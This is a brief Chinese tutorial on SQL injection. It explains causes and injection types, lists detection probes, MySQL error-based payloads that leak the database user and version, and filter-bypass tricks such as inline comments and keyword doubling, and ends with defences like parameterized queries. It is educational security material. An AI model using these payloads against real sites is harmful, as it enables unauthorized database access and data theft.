0x0 WHY-为什么会有SQL注入

    网站开发者没有对涉及到SQL查询的语句做过滤,导致用户可以构造恶意查询语句进行查询,从而获取一些不合法的信息

0x1 WHAT-什么是SQL注入

    SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)

0x2 HOW-如何利用SQL注入

0x2.1 SQL注入分类

  1. 字符型注入
  2. 数字性注入
  3. 报错注入
  4. 盲注
    • 基于时间
    • 布尔盲注
  5. 堆叠注入

0x2.2 注入检测

  • 模糊检测
    1. 1/1
    2. ' "
    3. " and "1"="1
    4. << >> || | & &&
    5. + - ^ * % /
  • 报错注入
    1. select 1/0
    2. select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
    3. extractvalue(1, concat(0x5c,(select user())))
    4. updatexml(0x3a,concat(1,(select user())),1)
    5. exp(~(SELECT * from(select user())a))
    6. ST_LatFromGeoHash((select * from(select * from(select user())a)b))
    7. GTID_SUBSET(version(), 1)

0x2.3 绕过技巧

  • 编码绕过
    1. 大小写
    2. url编码
    3. html编码
    4. 十六进制编码
    5. unicode编码
  • 注释
    1. // -- -- + -- - # /**/ ;%00
    2. 内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
    3. e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  • 重写
    1. union => ununionion
  • 替换
    1. substring / mid / sub
    2. ascii / hex / bin
    3. benchmark / sleep
    4. user() / @@user
    5. and / &
    6. or / |

0x2.4 常见payload

        更多请点击此处

0x3 防护手段

  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
  2. 过滤危险的 SQL 语句关键字。
  3. 确认每种数据的类型。
  4. 数据长度应该严格规定。
  5. 网站每个数据层的编码统一。